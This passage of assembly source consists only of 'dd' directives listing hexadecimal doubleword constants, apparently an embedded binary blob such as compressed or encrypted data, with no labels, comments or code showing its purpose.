dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h
dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h
dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h
dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h
dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h
dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h
dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h
dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h
dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h
dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h
dd 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh, 38A0DE3Bh
dd 0E8FF3Dh, 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h
dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh
dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h
dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h
dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h
dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h
dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h
dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h
dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h
dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h
dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h
dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h
dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h
dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h
dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h
dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh
dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh
dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh
dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch
dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h
dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch
dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh
dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h
dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h
dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h
dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h
dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h
dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch
dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h
dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
dd 96351EC9h, 973E803Ch
dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h
dd 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh
dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h
dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h
dd 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h
dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h
dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch
dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h
dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh
dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh
dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h
dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h
dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h
dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh
dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah
dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh
dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h
dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h
dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h
dd 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h
dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h
dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h
dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h
dd 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h
dd 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h
dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h
dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh
dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h
dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh
dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h
dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h
dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh
dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h
dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h
dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh
dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh
dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h
dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h
dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h
dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh
dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h
dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h
dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h
dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h
dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h
dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h
dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh
dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch
dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h
dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh
dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh
dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h
dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh
dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h
dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h
dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h
dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh
dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h
dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h
dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h
dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h
dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h
dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h
dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h
dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h
dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h
dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah
dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh
dd 3D030013h, 260F097h, 7D003E2Fh, 3F217081h, 4386C29h
dd 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh
dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h
dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch
dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh
dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch
dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h
dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h
dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h
dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h
dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h
dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh
dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h
dd 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h
dd 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h
dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h
dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh
dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h
dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h
dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh
dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h
dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh
dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh
dd 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h
dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h
dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh
dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h
dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h
dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h
dd 1C003E57h
dd 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch
dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah
dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h
dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h
dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h
dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h
dd 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h
dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h
dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh
dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h
dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h
dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h
dd 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h
dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh
dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h
dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh
dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h
dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h
dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh
dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h
dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h
dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h
dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch
dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah
dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh
dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h
dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h
dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch
dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h
dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh
dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h
dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh
dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh
dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah
dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h
dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch
dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h
dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h
dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h
dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh
dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h
dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h
dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h
dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h
dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh
dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch
dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh
dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah
dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h
dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h
dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h
dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h
dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h
dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h
dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h
dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh
dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh
dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
dd 6D009579h, 57B9D5E4h
dd 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah
dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh
dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh
dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh
dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh
dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h
dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch
dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h
dd 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h
dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh
dd 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h
dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h
dd 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh
dd 7DB91A0h, 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h
dd 1504E083h, 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h
